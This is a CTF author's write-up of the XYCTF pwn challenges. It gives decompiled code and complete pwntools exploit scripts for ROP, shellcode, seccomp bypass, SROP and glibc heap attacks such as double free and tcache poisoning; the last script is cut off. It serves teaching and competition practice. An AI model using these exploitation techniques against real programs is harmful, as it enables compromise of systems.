题目附件https://github.com/nyyyddddn/ctf/tree/main/xyctf_pwn

前段时间好忙,最近这几天才抽出时间整理下东西,xyctf是今年四月份开的,当时是第一次出题,想给入门pwn一段时间的师傅分享些简单又可以开阔一下思路的pwn题

hello_world(签到)

在glibc 2.31以后 csu fini csu init都变成了动态链接,大多数好用的修改寄存器的gadget(如pop rdi ret,pop rsi ret)都是从csu init中错位字节获取的,在能泄露libc的情况下,可以转换一下思路,从libc中拿gadget

程序逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

程序有两次输入的机会,第一次输入通过%s去泄露一个libc相关的地址,然后计算出libc_base,然后用libc中的gadget打rop就行了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 36241

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b'a' * 0x28

time.sleep(0.3)
# g(p)
s(payload)

ru(b'a' * 0x28)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7f662d429d90 - 0x7f662d400000)
success(f"libc_base ->{hex(libc_base)}")
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x0000000000029139

payload = b'b' * 0x28 
payload += p64(pop_rdi_ret) + p64(binsh) +  p64(ret)+ p64(system)

time.sleep(0.3)
# g(p)
s(payload)

p.interactive()

Intermittent

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+0h] [rbp-120h]
  void (*v5)(void); // [rsp+8h] [rbp-118h]
  _DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *((_DWORD *)v5 + 4 * i) = buf[i];
    v5();
    return 0;
  }
}

有三次输入的机会,输入完后会执行输入的shellcode,但是三次输入的地址都不连续,中间有大量的00字段阻碍shellcode的执行,同时长度也不够getshell,所以需要找到连接三段shellcode的方法 以及syscall read一次

这时候有两种思路,第一种是利用相对偏移跳转/相对偏移call去连接三段shellcode,第二种是,阻碍shellcode的原因是因为解引用错误导致程序崩溃,\x00\x00 对应 add byte ptr [rax], al,只需要将rax修改成一个正确的地址,就可以绕过中间这段00数据

第一种思路的exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "192.168.37.193"
PORT = 63188

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def generate_jmp(offset):
    return b'\xE8' + p8(offset)
# call offset

payload = asm('''
xor eax,eax
''') + generate_jmp(9)

payload += asm('''
push rdx
pop rsi
''') + generate_jmp(9)

payload += asm('''
syscall
''')

print(len(payload))

time.sleep(0.3)
# g(p)
# ru("show your magic: ")
s(payload)

shellcode = asm('nop') * 0x80
shellcode += asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
time.sleep(0.3)
# g(p)
s(shellcode)


p.interactive()

第二种思路的exp

from pwn import *
context.log_level = 'debug'

p = process('./vuln')
# p = remote("121.62.23.53",32894)
# 利用 \x00\x00 对应 add byte ptr [rax], al
# 所以把rax设置为0x114514000这个地址后就可以正常运行\x00\x00
'''
push rdx
pop rax
push rbx
pop rdi

push rdx
pop rsi
push rdx
pop rsi     # 对齐4字节

push rbx
pop rax
syscall
'''
payload = [b'RXS_', b'R^R^', b'SX\x0f\x05']
p.sendline(b''.join(payload))

"""
mov rax, 0x68732f6e69622f
push rax
push rsp
pop rdi
push 0
pop rsi
push 0
pop rdx
push 0x3b
pop rax
syscall
"""
payload = (b'\0' * 12).join(payload) + b'H\xb8/bin/sh\x00PT_j\x00^j\x00Zj;X\x0f\x05'
pause()
p.sendline(payload)
p.interactive()

invisible_flag

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *addr; // [rsp+8h] [rbp-118h]

  init();
  addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr == (void *)-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    puts("show your magic again");
    read(0, addr, 0x200uLL);
    sandbox();
    ((void (*)(void))addr)();
    return 0;
  }
}

seccomp的规则

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
 0007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0013
 0008: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0013
 0009: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0013
 0010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

open read write被禁用了,需要找能替代这三个系统调用的方法,最简单的做法是用openat去替代open,然后用sendfile去代替read和write将flag读出来,或者是其他系统调用,或者是用侧信道 + 二分法把flag爆破出来

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 58483

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# 257 openat(0xffffff9c,flag_str_addr_,0)
# 40 sendfile(1,3,0,0x50)

payload = asm('''
mov eax,257
mov edi,0xffffff9c
mov rsi,0x114514060
xor edx,edx
syscall
              
mov eax,40
mov edi,1
mov esi,3
xor edx,edx
mov r10,0x50
syscall

''')

payload = payload.ljust(0x60,b'\x00')
payload += b'flag\x00\x00'

time.sleep(0.3)
# g(p)
s(payload)

p.interactive()

静态链接的程序,没有system函数 没有binsh字符,可以用ret2syscall,syscall read把binsh写到一个已知地址的内存段里,然后再调用execve拿shell

__int64 vuln()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("static_link? ret2??");
  return read(0LL, v1, 256LL);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 33160

elf = context.binary = ELF('./vuln')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

bss = 0x4c5000
rdi = 0x0000000000401f1f # pop rdi ; ret
rsi = 0x0000000000409f8e # pop rsi ; ret
rdx = 0x0000000000451322 # pop rdx ; ret
rax = 0x0000000000447fe7 # pop rax ; ret
syscall = 0x0000000000401cd4

read = 0x447580

payload = flat([
    b'a' * (0x20 + 0x8),
    rdi,0,rsi,bss,rdx,0x100,read,
    rdi,bss,rsi,0,rdx,0,rax,0x3b,syscall
])

# g(p)
sla("static_link? ret2??\n",payload)

time.sleep(0.3)
sl(b'/bin/sh\x00\x00')

p.interactive()

fmt

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  printf("Welcome to xyctf, this is a gift: %p\n", &printf);
  read(0, buf1, 0x20uLL);
  __isoc99_scanf(buf1);
  printf("show your magic");
  return 0;
}

scanf和printf不同的地方是,scanf并不能通过 %n$p 这个表达式实现任意地址的泄露,但是任意地址写是可以实现的,glibc 2.31 在有libc地址的情况下可以打exit_hook为backdoor 或者one gadget

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "192.168.37.193"
PORT = 56046

elf = context.binary = ELF('./vuln')
libc = elf.libc
ld = ELF("./ld-2.31.so")

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("gift: ")
leak_addr = rl()[:-1]
libc_base = int(leak_addr,16) - libc.sym['printf']
ld_base = libc_base + (0x7ff17ca54000 - 0x7ff17c860000)
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
success(hex(ld_base))
backdoor = 0x4012BE

s(b"%7$ldaaa" + p64(_dl_rtld_lock_recursive))
# g(p)
sl(str(backdoor))

p.interactive()

simple_srop

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  read(0, buf, 0x200uLL);
  return 0;
}

__int64 init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return sandbox();
}

.text:000000000040128E                               public rt_sigreturn
.text:000000000040128E                               rt_sigreturn proc near
.text:000000000040128E                               ; __unwind {
.text:000000000040128E F3 0F 1E FA                   endbr64
.text:0000000000401292 55                            push    rbp
.text:0000000000401293 48 89 E5                      mov     rbp, rsp
.text:0000000000401296 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
.text:000000000040129D 0F 05                         syscall                                 ; LINUX - sys_rt_sigreturn
.text:000000000040129F C3                            retn

Srop + orw, 首先先调用一次signal return布置新栈,栈迁移到一个已知的地址,然后打signal return三次打orw就好了,或者是mprotect变成shellcode版本的orw,这样操作会少一些

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 39413

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# .text:0000000000401296 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
# .text:000000000040129D 0F 05                         syscall                                 ; LINUX - sys_rt_sigreturn
# .text:000000000040129F C3                            retn

signal_return = 0x401296
syscall = 0x40129D

bss = 0x404000

payload = b'a' * 0x28
payload += p64(signal_return)

# syscall read 栈迁移 rop
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x500
sigframe.rsp = bss
sigframe.rip = syscall
payload += bytes(sigframe)
s(payload)

# syscall mprotect
payload = p64(signal_return)
sigframe = SigreturnFrame()
sigframe.rax = 10
sigframe.rdi = bss
sigframe.rsi = 0x1000
sigframe.rdx = 7
sigframe.rsp = bss + 0x158
sigframe.rip = syscall
payload += bytes(sigframe)

payload = payload.ljust(0x150,b'a')
payload += b'./flag\x00\x00' # 0x404150
payload += p64(0x404160) # 0x404158

payload += asm(''' 
mov rax,2
mov rdi,0x404150
mov rsi,0
syscall

mov rax,0
mov rdi,3
mov rsi,0x404000
mov rdx,0x40
syscall

mov rax,1
mov rdi,1
mov rsi,0x404000
mov rdx,0x40
syscall
''')

time.sleep(0.5)
s(payload)

p.interactive()

one_byte

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 1 )
        break;
      add_chunk();
    }
    switch ( choice )
    {
      case 2:
        delete_chunk();
        break;
      case 3:
        view_chunk();
        break;
      case 4:
        edit_chunk();
        break;
      case 5:
        puts("[-] exit()");
        exit(0);
      default:
        puts("[-] Error choice!");
        break;
    }
  }
}

unsigned __int64 delete_chunk()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  __isoc99_scanf(&unk_2004, &v1);
  if ( v1 <= 0x1F )
  {
    if ( inused_list[v1] )
    {
      if ( *((_QWORD *)&chunk_list + v1) )
      {
        free(*((void **)&chunk_list + v1));
        inused_list[v1] = 0;
      }
      else
      {
        puts("[-] No such chunk!");
      }
    }
    else
    {
      puts("[-] Chunk not inuse!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 view_chunk()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  __isoc99_scanf(&unk_2004, &v1);
  if ( v1 <= 0x1F )
  {
    if ( inused_list[v1] )
    {
      if ( *((_QWORD *)&chunk_list + v1) )
        write(1, *((const void **)&chunk_list + v1), size_list[v1]);
      else
        puts("[-] No such chunk!");
    }
    else
    {
      puts("[-] Chunk not inuse!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 edit_chunk()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  __isoc99_scanf(&unk_2004, &v1);
  if ( v1 <= 0x1F )
  {
    if ( inused_list[v1] )
    {
      if ( chunk_list[v1] )
        read_data(chunk_list[v1], size_list[v1]);
      else
        puts("[-] No such chunk!");
    }
    else
    {
      puts("[-] Chunk not inuse!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return __readfsqword(0x28u) ^ v2;
}

ssize_t __fastcall read_data(void *a1, int a2)
{
  return read(0, a1, (unsigned int)(a2 + 1));
}

glibc 2.31,泄露libc地址的方式有很多,read_data中存在一个单字节的溢出,可以覆盖相邻堆块的size位一个字节,off by one漏洞,可以通过切分unsortedbin的方式,利用残留地址去泄露libc,或者是large bin残留的指针,也可以构造堆叠的方式去泄露,然后任意地址申请的原语可以通过double free去申请,也可以通过堆叠去实现 exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 33158

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def add(idx,size):
    sla(">>> ","1")
    sla("[?] please input chunk_idx: ",str(idx))
    sla("[?] Enter chunk size: ",str(size))


def delete(idx):
    sla(">>> ","2")
    sla("[?] please input chunk_idx: ",str(idx))

def view(idx):
    sla(">>> ","3")
    sla("[?] please input chunk_idx: ",str(idx))

def edit(idx,content):
    sla(">>> ","4")
    sla("[?] please input chunk_idx: ",str(idx))
    s(content)


p = connect()

for i in range(7):
    add(i,0x80)

add(7,0x28) # overflow
add(8,0x28) # heap overlap
add(9,0x80) # heap overlap
add(10,0x28)

for i in range(7):
    delete(i)

edit(7,b'A' * 0x28 + p8(0x61))
delete(8)
add(8,0x58) # heap overlap success

delete(9) # unsortedbin
view(8) # leak main_arena addr


ru(b'\x91')
r(7)
libc_base = u64(r(8)) - (0x7b7939032be0 - 0x7b7938e46000)
success(f"libc_base -> {hex(libc_base)}")
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(11,0x38)
add(12,0x38) # heapoverlap
add(13,0x38) # heapoverlap
add(14,0x38)

edit(11,b"B" * 0x38 + p8(0xf1))
delete(12)
add(12,0xe8)

delete(14)
edit(13,b's' * 0x20)
delete(13)

# g(p)

# tcache poison
edit(12,b'g' * 0x78 + p64(0x41) + p64(free_hook))

add(15,0x38)
add(16,0x38)
edit(16,p64(system))
edit(15,b'/bin/sh\x00\x00')

delete(15)


p.interactive()

fastfastfast

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &choice);
      if ( choice != 1 )
        break;
      create();
    }
    if ( choice == 2 )
    {
      delete();
    }
    else
    {
      if ( choice != 3 )
      {
        puts("Error choice");
        exit(0);
      }
      show();
    }
  }
}

void __cdecl create()
{
  unsigned int v0; // ebx
  unsigned int idx; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  puts("please input note idx");
  __isoc99_scanf("%u", &idx);
  if ( idx <= 0xF )
  {
    v0 = idx;
    note_addr[v0] = malloc(0x68uLL);
    puts("please input content");
    read(0, note_addr[idx], 0x68uLL);
  }
  else
  {
    puts("idx error");
  }
}

void __cdecl delete()
{
  unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input note idx");
  __isoc99_scanf("%u", &idx);
  if ( idx <= 0xF )
    free(note_addr[idx]);
  else
    puts("idx error");
}

void __cdecl show()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input note idx");
  __isoc99_scanf("%u", &idx);
  if ( idx <= 0xF )
  {
    if ( note_addr[idx] )
      write(1, note_addr[idx], 0x68uLL);
    else
      puts("note is null");
  }
  else
  {
    puts("idx error");
  }
}

glibc 2.31,通过fastbin double free去写free hook为system然后 free一个binsh的堆就可以getshell

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 33164

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create(idx,context):
    sla(">>> ","1")
    sla("please input note idx",str(idx))
    sa("please input content",context)

def delete(idx):
    sla(">>> ","2")
    sla("please input note idx",str(idx))

def show(idx):
    sla(">>> ","3")
    sla("please input note idx",str(idx))


p = connect()


for i in range(7):
    create(i,"AAAA")

create(7,"BBBB")
create(8,"BBBB")

# 0 - 6 tcache
for i in range(7):
    delete(i)

# double free
delete(7)
delete(8)
delete(7)

for i in range(7):
    create(i,"AAAA")

# bss addr
target = 0x404120
puts_got = elf.got['puts']

# double free
create(7,p64(target))
create(8,"BBBB")
create(7,"BBBB")

create(7,b"aaaaaaaa" + p64(puts_got))


# pwndbg> x /100gx &note_addr 
# 0x4040c0 <note_addr>:	0x0000000001325540	0x00000000013254d0
# 0x4040d0 <note_addr+16>:	0x0000000001325460	0x00000000013253f0
# 0x4040e0 <note_addr+32>:	0x0000000001325380	0x0000000001325310
# 0x4040f0 <note_addr+48>:	0x00000000013252a0	0x0000000000404120
# 0x404100 <note_addr+64>:	0x0000000001325620	0x0000000000000000
# 0x404110 <note_addr+80>:	0x0000000000000000	0x0000000000000000
# 0x404120 <note_addr+96>:	0x6161616161616161	0x0000000000404020
# 0x404130 <note_addr+112>:	0x0000000000000000	0x0000000000000000

show(13)
rl()

libc_base = u64(r(6).ljust(8,b'\x00'))  - libc.sym['puts']
# libc_base = r_leak_libc_64() - libc.sym['puts']
success(hex(libc_base))
# g(p)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

for i in range(7):
    create(i,"AAAA")

create(7,"BBBB")
create(8,"BBBB")

for i in range(7):
    delete(i)

delete(7)
delete(8)
delete(7)

for i in range(7):
    create(i,"AAAA")

create(7,p64(free_hook))
create(8,b"/bin/sh")
create(7,"BBBB")
create(7,p64(system))


delete(8)



# g(p)

p.interactive()

ptmalloc2 it’s myheap

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 1 )
        break;
      add_chunk();
    }
    switch ( choice )
    {
      case 2:
        delete_chunk();
        break;
      case 3:
        view_chunk();
        break;
      case 114514:
        _();
        break;
      default:
        puts("[-] exit()");
        exit(0);
    }
  }
}

__int64 _()
{
  printf("this is a gift: %p\n", &puts);
  return gift(hello_world);
}

unsigned __int64 view_chunk()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    if ( *((_QWORD *)&chunk_list + v1) )
    {
      if ( *(_QWORD *)(*((_QWORD *)&chunk_list + v1) + 8LL) )
        write(1, *(const void **)(*((_QWORD *)&chunk_list + v1) + 16LL), **((_QWORD **)&chunk_list + v1));
      else
        puts("[-] Chunk is not used!");
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 delete_chunk()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    v2 = *((_QWORD *)&chunk_list + v1);
    if ( v2 )
    {
      if ( *(_QWORD *)(v2 + 8) )
      {
        free(*((void **)&chunk_list + v1));
        free(*(void **)(v2 + 16));
        *(_QWORD *)(v2 + 8) = 0LL;
      }
      else
      {
        puts("[-] Chunk is not used!");
      }
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 add_chunk()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  _QWORD *v3; // [rsp+18h] [rbp-18h]
  void *buf; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    printf("[?] Enter chunk size: ");
    __isoc99_scanf("%lld", &size);
    v3 = malloc(0x18uLL);
    *v3 = size;
    if ( v3 )
    {
      buf = malloc(size);
      v3[2] = buf;
      if ( buf )
      {
        printf("[?] Enter chunk data: ");
        read(0, buf, size);
        chunk_list[v1] = v3;
        v3[1] = 1LL;
      }
      else
      {
        puts("[-] Failed to create chunk for data!");
      }
    }
    else
    {
      puts("[-] Failed to create new chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v5 - __readfsqword(0x28u);
}

可以通过glibc堆分配机制伪造一个chunk->inuse去泄露libc,meta_chunk中的指针可以用来泄露堆基地址,有了堆基地址就可以绕过safe link实现任意地址分配,可以通过写gift函数指针去劫持控制流

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "127.0.0.1"
PORT = 39411

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create(idx,size,content):
    sla(">>>","1")
    sla("[?] please input chunk_idx:",str(idx))
    sla("[?] Enter chunk size: ",str(size))
    sa("[?] Enter chunk data: ",content)
    
def delete(idx):
    sla(">>>","2")
    sla(" Enter chunk id: ",str(idx))

def show(idx):
    sla(">>>","3")
    sla("[?] Enter chunk id: ",str(idx))

def gift():
    sla(">>>","114514")

p = connect()

for i in range(7):
    create(i,0x30,"AAAA")

create(7,0x30,"AAAA")
create(8,0x30,"AAAA")

for i in range(7):
    delete(i)

create(9,0x18,b"A" * 0x10)
show(9)
ru(b"A" * 0x10)
leak = u64(ru("W")[:-1])
heap_base = leak - (0x4c34a0 - 0x4c3000)
success(hex(leak))
success(hex(heap_base))
# g(p)
delete(9)

delete(7)
delete(8)

for i in range(7):
    create(i,0x30,"AAAA")

create(9,0x18,p64(0x30) + p64(1))

for i in range(7):
    delete(i)

delete(7)

for i in range(7):
    create(i,0x30,"AAAA")
# g(p)
target = 0x404070
pos = heap_base + (0x700560 - 0x700000)
target = (pos >> 12) ^ target

create(7,0x30,p64(target))
create(8,0x30,"BBBB")
create(7,0x30,"BBBB")

gift()
ru("this is a gift: ")
